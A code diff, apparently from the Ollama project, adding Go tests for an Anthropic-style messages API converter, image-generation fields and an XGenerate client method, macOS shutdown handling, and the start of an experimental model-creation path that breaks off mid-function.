+
+	"github.com/google/go-cmp/cmp"
+
+	"github.com/ollama/ollama/api"
+)
+
+const (
+	testImage = `iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk+A8AAQUBAScY42YAAAAASUVORK5CYII=`
+)
+
+// testArgs creates ToolCallFunctionArguments from a map (convenience function for tests)
+func testArgs(m map[string]any) api.ToolCallFunctionArguments {
+	args := api.NewToolCallFunctionArguments()
+	for k, v := range m {
+		args.Set(k, v)
+	}
+	return args
+}
+
+func TestFromMessagesRequest_Basic(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		Messages: []MessageParam{
+			{Role: "user", Content: "Hello"},
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if result.Model != "test-model" {
+		t.Errorf("expected model 'test-model', got %q", result.Model)
+	}
+
+	if len(result.Messages) != 1 {
+		t.Fatalf("expected 1 message, got %d", len(result.Messages))
+	}
+
+	if result.Messages[0].Role != "user" || result.Messages[0].Content != "Hello" {
+		t.Errorf("unexpected message: %+v", result.Messages[0])
+	}
+
+	if numPredict, ok := result.Options["num_predict"].(int); !ok || numPredict != 1024 {
+		t.Errorf("expected num_predict 1024, got %v", result.Options["num_predict"])
+	}
+}
+
+func TestFromMessagesRequest_WithSystemPrompt(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		System:    "You are a helpful assistant.",
+		Messages: []MessageParam{
+			{Role: "user", Content: "Hello"},
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if len(result.Messages) != 2 {
+		t.Fatalf("expected 2 messages, got %d", len(result.Messages))
+	}
+
+	if result.Messages[0].Role != "system" || result.Messages[0].Content != "You are a helpful assistant." {
+		t.Errorf("unexpected system message: %+v", result.Messages[0])
+	}
+}
+
+func TestFromMessagesRequest_WithSystemPromptArray(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		System: []any{
+			map[string]any{"type": "text", "text": "You are helpful."},
+			map[string]any{"type": "text", "text": " Be concise."},
+		},
+		Messages: []MessageParam{
+			{Role: "user", Content: "Hello"},
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if len(result.Messages) != 2 {
+		t.Fatalf("expected 2 messages, got %d", len(result.Messages))
+	}
+
+	if result.Messages[0].Content != "You are helpful. Be concise." {
+		t.Errorf("unexpected system message content: %q", result.Messages[0].Content)
+	}
+}
+
+func TestFromMessagesRequest_WithOptions(t *testing.T) {
+	temp := 0.7
+	topP := 0.9
+	topK := 40
+	req := MessagesRequest{
+		Model:         "test-model",
+		MaxTokens:     2048,
+		Messages:      []MessageParam{{Role: "user", Content: "Hello"}},
+		Temperature:   &temp,
+		TopP:          &topP,
+		TopK:          &topK,
+		StopSequences: []string{"\n", "END"},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if result.Options["temperature"] != 0.7 {
+		t.Errorf("expected temperature 0.7, got %v", result.Options["temperature"])
+	}
+	if result.Options["top_p"] != 0.9 {
+		t.Errorf("expected top_p 0.9, got %v", result.Options["top_p"])
+	}
+	if result.Options["top_k"] != 40 {
+		t.Errorf("expected top_k 40, got %v", result.Options["top_k"])
+	}
+	if diff := cmp.Diff([]string{"\n", "END"}, result.Options["stop"]); diff != "" {
+		t.Errorf("stop sequences mismatch: %s", diff)
+	}
+}
+
+func TestFromMessagesRequest_WithImage(t *testing.T) {
+	imgData, _ := base64.StdEncoding.DecodeString(testImage)
+
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		Messages: []MessageParam{
+			{
+				Role: "user",
+				Content: []any{
+					map[string]any{"type": "text", "text": "What's in this image?"},
+					map[string]any{
+						"type": "image",
+						"source": map[string]any{
+							"type":       "base64",
+							"media_type": "image/png",
+							"data":       testImage,
+						},
+					},
+				},
+			},
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if len(result.Messages) != 1 {
+		t.Fatalf("expected 1 message, got %d", len(result.Messages))
+	}
+
+	if result.Messages[0].Content != "What's in this image?" {
+		t.Errorf("expected content 'What's in this image?', got %q", result.Messages[0].Content)
+	}
+
+	if len(result.Messages[0].Images) != 1 {
+		t.Fatalf("expected 1 image, got %d", len(result.Messages[0].Images))
+	}
+
+	if string(result.Messages[0].Images[0]) != string(imgData) {
+		t.Error("image data mismatch")
+	}
+}
+
+func TestFromMessagesRequest_WithToolUse(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		Messages: []MessageParam{
+			{Role: "user", Content: "What's the weather in Paris?"},
+			{
+				Role: "assistant",
+				Content: []any{
+					map[string]any{
+						"type":  "tool_use",
+						"id":    "call_123",
+						"name":  "get_weather",
+						"input": map[string]any{"location": "Paris"},
+					},
+				},
+			},
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if len(result.Messages) != 2 {
+		t.Fatalf("expected 2 messages, got %d", len(result.Messages))
+	}
+
+	if len(result.Messages[1].ToolCalls) != 1 {
+		t.Fatalf("expected 1 tool call, got %d", len(result.Messages[1].ToolCalls))
+	}
+
+	tc := result.Messages[1].ToolCalls[0]
+	if tc.ID != "call_123" {
+		t.Errorf("expected tool call ID 'call_123', got %q", tc.ID)
+	}
+	if tc.Function.Name != "get_weather" {
+		t.Errorf("expected tool name 'get_weather', got %q", tc.Function.Name)
+	}
+}
+
+func TestFromMessagesRequest_WithToolResult(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		Messages: []MessageParam{
+			{
+				Role: "user",
+				Content: []any{
+					map[string]any{
+						"type":        "tool_result",
+						"tool_use_id": "call_123",
+						"content":     "The weather in Paris is sunny, 22°C",
+					},
+				},
+			},
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if len(result.Messages) != 1 {
+		t.Fatalf("expected 1 message, got %d", len(result.Messages))
+	}
+
+	msg := result.Messages[0]
+	if msg.Role != "tool" {
+		t.Errorf("expected role 'tool', got %q", msg.Role)
+	}
+	if msg.ToolCallID != "call_123" {
+		t.Errorf("expected tool_call_id 'call_123', got %q", msg.ToolCallID)
+	}
+	if msg.Content != "The weather in Paris is sunny, 22°C" {
+		t.Errorf("unexpected content: %q", msg.Content)
+	}
+}
+
+func TestFromMessagesRequest_WithTools(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		Messages:  []MessageParam{{Role: "user", Content: "Hello"}},
+		Tools: []Tool{
+			{
+				Name:        "get_weather",
+				Description: "Get current weather",
+				InputSchema: json.RawMessage(`{"type":"object","properties":{"location":{"type":"string"}},"required":["location"]}`),
+			},
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if len(result.Tools) != 1 {
+		t.Fatalf("expected 1 tool, got %d", len(result.Tools))
+	}
+
+	tool := result.Tools[0]
+	if tool.Type != "function" {
+		t.Errorf("expected type 'function', got %q", tool.Type)
+	}
+	if tool.Function.Name != "get_weather" {
+		t.Errorf("expected name 'get_weather', got %q", tool.Function.Name)
+	}
+	if tool.Function.Description != "Get current weather" {
+		t.Errorf("expected description 'Get current weather', got %q", tool.Function.Description)
+	}
+}
+
+func TestFromMessagesRequest_WithThinking(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		Messages:  []MessageParam{{Role: "user", Content: "Hello"}},
+		Thinking:  &ThinkingConfig{Type: "enabled", BudgetTokens: 1000},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if result.Think == nil {
+		t.Fatal("expected Think to be set")
+	}
+	if v, ok := result.Think.Value.(bool); !ok || !v {
+		t.Errorf("expected Think.Value to be true, got %v", result.Think.Value)
+	}
+}
+
+// TestFromMessagesRequest_ThinkingOnlyBlock verifies that messages containing only
+// a thinking block (no text, images, or tool calls) are preserved and not dropped.
+func TestFromMessagesRequest_ThinkingOnlyBlock(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		Messages: []MessageParam{
+			{Role: "user", Content: "Hello"},
+			{
+				Role: "assistant",
+				Content: []any{
+					map[string]any{
+						"type":     "thinking",
+						"thinking": "Let me think about this...",
+					},
+				},
+			},
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if len(result.Messages) != 2 {
+		t.Fatalf("expected 2 messages, got %d", len(result.Messages))
+	}
+
+	assistantMsg := result.Messages[1]
+	if assistantMsg.Thinking != "Let me think about this..." {
+		t.Errorf("expected thinking content, got %q", assistantMsg.Thinking)
+	}
+}
+
+func TestFromMessagesRequest_ToolUseMissingID(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		Messages: []MessageParam{
+			{
+				Role: "assistant",
+				Content: []any{
+					map[string]any{
+						"type": "tool_use",
+						"name": "get_weather",
+					},
+				},
+			},
+		},
+	}
+
+	_, err := FromMessagesRequest(req)
+	if err == nil {
+		t.Fatal("expected error for missing tool_use id")
+	}
+	if err.Error() != "tool_use block missing required 'id' field" {
+		t.Errorf("unexpected error message: %v", err)
+	}
+}
+
+func TestFromMessagesRequest_ToolUseMissingName(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		Messages: []MessageParam{
+			{
+				Role: "assistant",
+				Content: []any{
+					map[string]any{
+						"type": "tool_use",
+						"id":   "call_123",
+					},
+				},
+			},
+		},
+	}
+
+	_, err := FromMessagesRequest(req)
+	if err == nil {
+		t.Fatal("expected error for missing tool_use name")
+	}
+	if err.Error() != "tool_use block missing required 'name' field" {
+		t.Errorf("unexpected error message: %v", err)
+	}
+}
+
+func TestFromMessagesRequest_InvalidToolSchema(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		Messages:  []MessageParam{{Role: "user", Content: "Hello"}},
+		Tools: []Tool{
+			{
+				Name:        "bad_tool",
+				InputSchema: json.RawMessage(`{invalid json`),
+			},
+		},
+	}
+
+	_, err := FromMessagesRequest(req)
+	if err == nil {
+		t.Fatal("expected error for invalid tool schema")
+	}
+}
+
+func TestToMessagesResponse_Basic(t *testing.T) {
+	resp := api.ChatResponse{
+		Model: "test-model",
+		Message: api.Message{
+			Role:    "assistant",
+			Content: "Hello there!",
+		},
+		Done:       true,
+		DoneReason: "stop",
+		Metrics: api.Metrics{
+			PromptEvalCount: 10,
+			EvalCount:       5,
+		},
+	}
+
+	result := ToMessagesResponse("msg_123", resp)
+
+	if result.ID != "msg_123" {
+		t.Errorf("expected ID 'msg_123', got %q", result.ID)
+	}
+	if result.Type != "message" {
+		t.Errorf("expected type 'message', got %q", result.Type)
+	}
+	if result.Role != "assistant" {
+		t.Errorf("expected role 'assistant', got %q", result.Role)
+	}
+	if len(result.Content) != 1 {
+		t.Fatalf("expected 1 content block, got %d", len(result.Content))
+	}
+	if result.Content[0].Type != "text" || result.Content[0].Text == nil || *result.Content[0].Text != "Hello there!" {
+		t.Errorf("unexpected content: %+v", result.Content[0])
+	}
+	if result.StopReason != "end_turn" {
+		t.Errorf("expected stop_reason 'end_turn', got %q", result.StopReason)
+	}
+	if result.Usage.InputTokens != 10 || result.Usage.OutputTokens != 5 {
+		t.Errorf("unexpected usage: %+v", result.Usage)
+	}
+}
+
+func TestToMessagesResponse_WithToolCalls(t *testing.T) {
+	resp := api.ChatResponse{
+		Model: "test-model",
+		Message: api.Message{
+			Role: "assistant",
+			ToolCalls: []api.ToolCall{
+				{
+					ID: "call_123",
+					Function: api.ToolCallFunction{
+						Name:      "get_weather",
+						Arguments: testArgs(map[string]any{"location": "Paris"}),
+					},
+				},
+			},
+		},
+		Done:       true,
+		DoneReason: "stop",
+	}
+
+	result := ToMessagesResponse("msg_123", resp)
+
+	if len(result.Content) != 1 {
+		t.Fatalf("expected 1 content block, got %d", len(result.Content))
+	}
+	if result.Content[0].Type != "tool_use" {
+		t.Errorf("expected type 'tool_use', got %q", result.Content[0].Type)
+	}
+	if result.Content[0].ID != "call_123" {
+		t.Errorf("expected ID 'call_123', got %q", result.Content[0].ID)
+	}
+	if result.Content[0].Name != "get_weather" {
+		t.Errorf("expected name 'get_weather', got %q", result.Content[0].Name)
+	}
+	if result.StopReason != "tool_use" {
+		t.Errorf("expected stop_reason 'tool_use', got %q", result.StopReason)
+	}
+}
+
+func TestToMessagesResponse_WithThinking(t *testing.T) {
+	resp := api.ChatResponse{
+		Model: "test-model",
+		Message: api.Message{
+			Role:     "assistant",
+			Content:  "The answer is 42.",
+			Thinking: "Let me think about this...",
+		},
+		Done:       true,
+		DoneReason: "stop",
+	}
+
+	result := ToMessagesResponse("msg_123", resp)
+
+	if len(result.Content) != 2 {
+		t.Fatalf("expected 2 content blocks, got %d", len(result.Content))
+	}
+	if result.Content[0].Type != "thinking" {
+		t.Errorf("expected first block type 'thinking', got %q", result.Content[0].Type)
+	}
+	if result.Content[0].Thinking == nil || *result.Content[0].Thinking != "Let me think about this..." {
+		t.Errorf("unexpected thinking content: %v", result.Content[0].Thinking)
+	}
+	if result.Content[1].Type != "text" {
+		t.Errorf("expected second block type 'text', got %q", result.Content[1].Type)
+	}
+}
+
+func TestMapStopReason(t *testing.T) {
+	tests := []struct {
+		reason       string
+		hasToolCalls bool
+		want         string
+	}{
+		{"stop", false, "end_turn"},
+		{"length", false, "max_tokens"},
+		{"stop", true, "tool_use"},
+		{"other", false, "stop_sequence"},
+		{"", false, ""},
+	}
+
+	for _, tt := range tests {
+		got := mapStopReason(tt.reason, tt.hasToolCalls)
+		if got != tt.want {
+			t.Errorf("mapStopReason(%q, %v) = %q, want %q", tt.reason, tt.hasToolCalls, got, tt.want)
+		}
+	}
+}
+
+func TestNewError(t *testing.T) {
+	tests := []struct {
+		code int
+		want string
+	}{
+		{400, "invalid_request_error"},
+		{401, "authentication_error"},
+		{403, "permission_error"},
+		{404, "not_found_error"},
+		{429, "rate_limit_error"},
+		{500, "api_error"},
+		{503, "overloaded_error"},
+		{529, "overloaded_error"},
+	}
+
+	for _, tt := range tests {
+		result := NewError(tt.code, "test message")
+		if result.Type != "error" {
+			t.Errorf("NewError(%d) type = %q, want 'error'", tt.code, result.Type)
+		}
+		if result.Error.Type != tt.want {
+			t.Errorf("NewError(%d) error.type = %q, want %q", tt.code, result.Error.Type, tt.want)
+		}
+		if result.Error.Message != "test message" {
+			t.Errorf("NewError(%d) message = %q, want 'test message'", tt.code, result.Error.Message)
+		}
+		if result.RequestID == "" {
+			t.Errorf("NewError(%d) request_id should not be empty", tt.code)
+		}
+	}
+}
+
+func TestGenerateMessageID(t *testing.T) {
+	id1 := GenerateMessageID()
+	id2 := GenerateMessageID()
+
+	if id1 == "" {
+		t.Error("GenerateMessageID returned empty string")
+	}
+	if id1 == id2 {
+		t.Error("GenerateMessageID returned duplicate IDs")
+	}
+	if len(id1) < 10 {
+		t.Errorf("GenerateMessageID returned short ID: %q", id1)
+	}
+	if id1[:4] != "msg_" {
+		t.Errorf("GenerateMessageID should start with 'msg_', got %q", id1[:4])
+	}
+}
+
+func TestStreamConverter_Basic(t *testing.T) {
+	conv := NewStreamConverter("msg_123", "test-model")
+
+	// First chunk
+	resp1 := api.ChatResponse{
+		Model: "test-model",
+		Message: api.Message{
+			Role:    "assistant",
+			Content: "Hello",
+		},
+		Metrics: api.Metrics{PromptEvalCount: 10},
+	}
+
+	events1 := conv.Process(resp1)
+	if len(events1) < 3 {
+		t.Fatalf("expected at least 3 events for first chunk, got %d", len(events1))
+	}
+
+	// Should have message_start, content_block_start, content_block_delta
+	if events1[0].Event != "message_start" {
+		t.Errorf("expected first event 'message_start', got %q", events1[0].Event)
+	}
+	if events1[1].Event != "content_block_start" {
+		t.Errorf("expected second event 'content_block_start', got %q", events1[1].Event)
+	}
+	if events1[2].Event != "content_block_delta" {
+		t.Errorf("expected third event 'content_block_delta', got %q", events1[2].Event)
+	}
+
+	// Final chunk
+	resp2 := api.ChatResponse{
+		Model: "test-model",
+		Message: api.Message{
+			Role:    "assistant",
+			Content: " world!",
+		},
+		Done:       true,
+		DoneReason: "stop",
+		Metrics:    api.Metrics{EvalCount: 5},
+	}
+
+	events2 := conv.Process(resp2)
+
+	// Should have content_block_delta, content_block_stop, message_delta, message_stop
+	hasStop := false
+	for _, e := range events2 {
+		if e.Event == "message_stop" {
+			hasStop = true
+		}
+	}
+	if !hasStop {
+		t.Error("expected message_stop event in final chunk")
+	}
+}
+
+func TestStreamConverter_WithToolCalls(t *testing.T) {
+	conv := NewStreamConverter("msg_123", "test-model")
+
+	resp := api.ChatResponse{
+		Model: "test-model",
+		Message: api.Message{
+			Role: "assistant",
+			ToolCalls: []api.ToolCall{
+				{
+					ID: "call_123",
+					Function: api.ToolCallFunction{
+						Name:      "get_weather",
+						Arguments: testArgs(map[string]any{"location": "Paris"}),
+					},
+				},
+			},
+		},
+		Done:       true,
+		DoneReason: "stop",
+		Metrics:    api.Metrics{PromptEvalCount: 10, EvalCount: 5},
+	}
+
+	events := conv.Process(resp)
+
+	hasToolStart := false
+	hasToolDelta := false
+	for _, e := range events {
+		if e.Event == "content_block_start" {
+			if start, ok := e.Data.(ContentBlockStartEvent); ok {
+				if start.ContentBlock.Type == "tool_use" {
+					hasToolStart = true
+				}
+			}
+		}
+		if e.Event == "content_block_delta" {
+			if delta, ok := e.Data.(ContentBlockDeltaEvent); ok {
+				if delta.Delta.Type == "input_json_delta" {
+					hasToolDelta = true
+				}
+			}
+		}
+	}
+
+	if !hasToolStart {
+		t.Error("expected tool_use content_block_start event")
+	}
+	if !hasToolDelta {
+		t.Error("expected input_json_delta event")
+	}
+}
+
+func TestStreamConverter_ToolCallWithUnmarshalableArgs(t *testing.T) {
+	// Test that unmarshalable arguments (like channels) are handled gracefully
+	// and don't cause a panic or corrupt stream
+	conv := NewStreamConverter("msg_123", "test-model")
+
+	// Create a channel which cannot be JSON marshaled
+	unmarshalable := make(chan int)
+	badArgs := api.NewToolCallFunctionArguments()
+	badArgs.Set("channel", unmarshalable)
+
+	resp := api.ChatResponse{
+		Model: "test-model",
+		Message: api.Message{
+			Role: "assistant",
+			ToolCalls: []api.ToolCall{
+				{
+					ID: "call_bad",
+					Function: api.ToolCallFunction{
+						Name:      "bad_function",
+						Arguments: badArgs,
+					},
+				},
+			},
+		},
+		Done:       true,
+		DoneReason: "stop",
+	}
+
+	// Should not panic and should skip the unmarshalable tool call
+	events := conv.Process(resp)
+
+	// Verify no tool_use block was started (since marshal failed before block start)
+	hasToolStart := false
+	for _, e := range events {
+		if e.Event == "content_block_start" {
+			if start, ok := e.Data.(ContentBlockStartEvent); ok {
+				if start.ContentBlock.Type == "tool_use" {
+					hasToolStart = true
+				}
+			}
+		}
+	}
+
+	if hasToolStart {
+		t.Error("expected no tool_use block when arguments cannot be marshaled")
+	}
+}
+
+func TestStreamConverter_MultipleToolCallsWithMixedValidity(t *testing.T) {
+	// Test that valid tool calls still work when mixed with invalid ones
+	conv := NewStreamConverter("msg_123", "test-model")
+
+	unmarshalable := make(chan int)
+	badArgs := api.NewToolCallFunctionArguments()
+	badArgs.Set("channel", unmarshalable)
+
+	resp := api.ChatResponse{
+		Model: "test-model",
+		Message: api.Message{
+			Role: "assistant",
+			ToolCalls: []api.ToolCall{
+				{
+					ID: "call_good",
+					Function: api.ToolCallFunction{
+						Name:      "good_function",
+						Arguments: testArgs(map[string]any{"location": "Paris"}),
+					},
+				},
+				{
+					ID: "call_bad",
+					Function: api.ToolCallFunction{
+						Name:      "bad_function",
+						Arguments: badArgs,
+					},
+				},
+			},
+		},
+		Done:       true,
+		DoneReason: "stop",
+	}
+
+	events := conv.Process(resp)
+
+	// Count tool_use blocks - should only have 1 (the valid one)
+	toolStartCount := 0
+	toolDeltaCount := 0
+	for _, e := range events {
+		if e.Event == "content_block_start" {
+			if start, ok := e.Data.(ContentBlockStartEvent); ok {
+				if start.ContentBlock.Type == "tool_use" {
+					toolStartCount++
+					if start.ContentBlock.Name != "good_function" {
+						t.Errorf("expected tool name 'good_function', got %q", start.ContentBlock.Name)
+					}
+				}
+			}
+		}
+		if e.Event == "content_block_delta" {
+			if delta, ok := e.Data.(ContentBlockDeltaEvent); ok {
+				if delta.Delta.Type == "input_json_delta" {
+					toolDeltaCount++
+				}
+			}
+		}
+	}
+
+	if toolStartCount != 1 {
+		t.Errorf("expected 1 tool_use block, got %d", toolStartCount)
+	}
+	if toolDeltaCount != 1 {
+		t.Errorf("expected 1 input_json_delta, got %d", toolDeltaCount)
+	}
+}
+
+// TestContentBlockJSON_EmptyFieldsPresent verifies that empty text and thinking fields
+// are serialized in JSON output. The Anthropic SDK requires these fields to be present
+// (even when empty) in content_block_start events to properly accumulate streaming deltas.
+// Without these fields, the SDK throws: "TypeError: unsupported operand type(s) for +=: 'NoneType' and 'str'"
+func TestContentBlockJSON_EmptyFieldsPresent(t *testing.T) {
+	tests := []struct {
+		name     string
+		block    ContentBlock
+		wantKeys []string
+	}{
+		{
+			name: "text block includes empty text field",
+			block: ContentBlock{
+				Type: "text",
+				Text: ptr(""),
+			},
+			wantKeys: []string{"type", "text"},
+		},
+		{
+			name: "thinking block includes empty thinking field",
+			block: ContentBlock{
+				Type:     "thinking",
+				Thinking: ptr(""),
+			},
+			wantKeys: []string{"type", "thinking"},
+		},
+		{
+			name: "text block with content",
+			block: ContentBlock{
+				Type: "text",
+				Text: ptr("hello"),
+			},
+			wantKeys: []string{"type", "text"},
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			data, err := json.Marshal(tt.block)
+			if err != nil {
+				t.Fatalf("failed to marshal: %v", err)
+			}
+
+			var result map[string]any
+			if err := json.Unmarshal(data, &result); err != nil {
+				t.Fatalf("failed to unmarshal: %v", err)
+			}
+
+			for _, key := range tt.wantKeys {
+				if _, ok := result[key]; !ok {
+					t.Errorf("expected key %q to be present in JSON output, got: %s", key, string(data))
+				}
+			}
+		})
+	}
+}
+
+// TestStreamConverter_ContentBlockStartIncludesEmptyFields verifies that content_block_start
+// events include the required empty fields for SDK compatibility.
+func TestStreamConverter_ContentBlockStartIncludesEmptyFields(t *testing.T) {
+	t.Run("text block start includes empty text", func(t *testing.T) {
+		conv := NewStreamConverter("msg_123", "test-model")
+
+		resp := api.ChatResponse{
+			Model:   "test-model",
+			Message: api.Message{Role: "assistant", Content: "hello"},
+		}
+
+		events := conv.Process(resp)
+
+		var foundTextStart bool
+		for _, e := range events {
+			if e.Event == "content_block_start" {
+				if start, ok := e.Data.(ContentBlockStartEvent); ok {
+					if start.ContentBlock.Type == "text" {
+						foundTextStart = true
+						// Marshal and verify the text field is present
+						data, _ := json.Marshal(start)
+						var result map[string]any
+						json.Unmarshal(data, &result)
+						cb := result["content_block"].(map[string]any)
+						if _, ok := cb["text"]; !ok {
+							t.Error("content_block_start for text should include 'text' field")
+						}
+					}
+				}
+			}
+		}
+
+		if !foundTextStart {
+			t.Error("expected text content_block_start event")
+		}
+	})
+
+	t.Run("thinking block start includes empty thinking", func(t *testing.T) {
+		conv := NewStreamConverter("msg_123", "test-model")
+
+		resp := api.ChatResponse{
+			Model:   "test-model",
+			Message: api.Message{Role: "assistant", Thinking: "let me think..."},
+		}
+
+		events := conv.Process(resp)
+
+		var foundThinkingStart bool
+		for _, e := range events {
+			if e.Event == "content_block_start" {
+				if start, ok := e.Data.(ContentBlockStartEvent); ok {
+					if start.ContentBlock.Type == "thinking" {
+						foundThinkingStart = true
+						data, _ := json.Marshal(start)
+						var result map[string]any
+						json.Unmarshal(data, &result)
+						cb := result["content_block"].(map[string]any)
+						if _, ok := cb["thinking"]; !ok {
+							t.Error("content_block_start for thinking should include 'thinking' field")
+						}
+					}
+				}
+			}
+		}
+
+		if !foundThinkingStart {
+			t.Error("expected thinking content_block_start event")
+		}
+	})
+}

api/client.go

@@ -165,7 +165,7 @@ func (c *Client) do(ctx context.Context, method, path string, reqData, respData
 	return nil
 }
 
-const maxBufferSize = 512 * format.KiloByte
+const maxBufferSize = 8 * format.MegaByte
 
 func (c *Client) stream(ctx context.Context, method, path string, data any, fn func([]byte) error) error {
 	var buf io.Reader
@@ -281,6 +281,20 @@ func (c *Client) Generate(ctx context.Context, req *GenerateRequest, fn Generate
 	})
 }
 
+// XGenerate generates images using the experimental /x/generate endpoint.
+// This endpoint is specifically designed for image generation models and
+// supports parameters like width, height, and steps.
+func (c *Client) XGenerate(ctx context.Context, req *GenerateRequest, fn GenerateResponseFunc) error {
+	return c.stream(ctx, http.MethodPost, "/x/generate", req, func(bts []byte) error {
+		var resp GenerateResponse
+		if err := json.Unmarshal(bts, &resp); err != nil {
+			return err
+		}
+
+		return fn(resp)
+	})
+}
+
 // ChatResponseFunc is a function that [Client.Chat] invokes every time
 // a response is received from the service. If this function returns an error,
 // [Client.Chat] will stop generating and return this error.

api/types.go

@@ -97,6 +97,15 @@ type GenerateRequest struct {
 	// request, for multimodal models.
 	Images []ImageData `json:"images,omitempty"`
 
+	// Width is the width of the generated image (for image generation models).
+	Width int32 `json:"width,omitempty"`
+
+	// Height is the height of the generated image (for image generation models).
+	Height int32 `json:"height,omitempty"`
+
+	// Steps is the number of diffusion steps (for image generation models).
+	Steps int32 `json:"steps,omitempty"`
+
 	// Options lists model-specific options. For example, temperature can be
 	// set through this field, if the model supports it.
 	Options map[string]any `json:"options"`
@@ -860,6 +869,18 @@ type GenerateResponse struct {
 	// Logprobs contains log probability information for the generated tokens,
 	// if requested via the Logprobs parameter.
 	Logprobs []Logprob `json:"logprobs,omitempty"`
+
+	// Status describes the current phase of generation (e.g., "generating image").
+	Status string `json:"status,omitempty"`
+
+	// Total is the total count for the current phase (e.g., total steps).
+	Total int64 `json:"total,omitempty"`
+
+	// Completed is the completed count for the current phase.
+	Completed int64 `json:"completed,omitempty"`
+
+	// Images contains base64-encoded generated images for image generation models.
+	Images []string `json:"images,omitempty"`
 }
 
 // ModelDetails provides details about a model.

app/cmd/app/app_darwin.m

@@ -14,6 +14,7 @@ extern NSString *SystemWidePath;
 @interface AppDelegate () <NSWindowDelegate, WKNavigationDelegate, WKUIDelegate>
 @property(strong, nonatomic) NSStatusItem *statusItem;
 @property(assign, nonatomic) BOOL updateAvailable;
+@property(assign, nonatomic) BOOL systemShutdownInProgress;
 @end
 
 @implementation AppDelegate
@@ -40,6 +41,13 @@ bool firstTimeRun,startHidden; // Set in run before initialization
 }
 
 - (void)applicationDidFinishLaunching:(NSNotification *)aNotification {
+    // Register for system shutdown/restart notification so we can allow termination
+    [[[NSWorkspace sharedWorkspace] notificationCenter]
+        addObserver:self
+           selector:@selector(systemWillPowerOff:)
+               name:NSWorkspaceWillPowerOffNotification
+             object:nil];
+
     // if we're in development mode, set the app icon
     NSString *bundlePath = [[NSBundle mainBundle] bundlePath];
     if (![bundlePath hasSuffix:@".app"]) {
@@ -278,7 +286,18 @@ bool firstTimeRun,startHidden; // Set in run before initialization
     [NSApp activateIgnoringOtherApps:YES];
 }
 
+- (void)systemWillPowerOff:(NSNotification *)notification {
+    // Set flag so applicationShouldTerminate: knows to allow termination.
+    // The system will call applicationShouldTerminate: after posting this notification.
+    self.systemShutdownInProgress = YES;
+}
+
 - (NSApplicationTerminateReply)applicationShouldTerminate:(NSApplication *)sender {
+    // Allow termination if the system is shutting down or restarting
+    if (self.systemShutdownInProgress) {
+        return NSTerminateNow;
+    }
+    // Otherwise just hide the app (for Cmd+Q, close button, etc.)
     [NSApp hide:nil];
     [NSApp setActivationPolicy:NSApplicationActivationPolicyAccessory];
     return NSTerminateCancel;

cmd/cmd.go

@@ -46,6 +46,9 @@ import (
 	"github.com/ollama/ollama/types/syncmap"
 	"github.com/ollama/ollama/version"
 	xcmd "github.com/ollama/ollama/x/cmd"
+	"github.com/ollama/ollama/x/create"
+	xcreateclient "github.com/ollama/ollama/x/create/client"
+	"github.com/ollama/ollama/x/imagegen"
 )
 
 const ConnectInstructions = "To sign in, navigate to:\n    %s\n\n"
@@ -91,11 +94,88 @@ func CreateHandler(cmd *cobra.Command, args []string) error {
 	p := progress.NewProgress(os.Stderr)
 	defer p.Stop()
 
+	// Validate model name early to fail fast
+	modelName := args[0]
+	name := model.ParseName(modelName)
+	if !name.IsValid() {
+		return fmt.Errorf("invalid model name: %s", modelName)
+	}
+
+	// Check for --experimental flag for safetensors model creation
+	experimental, _ := cmd.Flags().GetBool("experimental")
+	if experimental {
+		// Get Modelfile content - either from -f flag or default to "FROM ."
+		var reader io.Reader
+		filename, err := getModelfileName(cmd)
+		if os.IsNotExist(err) || filename == "" {
+			// No Modelfile specified or found - use default
+			reader = strings.NewReader("FROM .\n")
+		} else if err != nil {
+			return err
+		} else {
+			f, err := os.Open(filename)
+			if err != nil {
+				return err
+			}
+			defer f.Close()
+			reader = f
+		}
+
+		// Parse the Modelfile
+		modelfile, err := parser.ParseFile(reader)
+		if err != nil {
+			return fmt.Errorf("failed to parse Modelfile: %w", err)
+		}
+
+		// Extract FROM path and configuration
+		var modelDir string
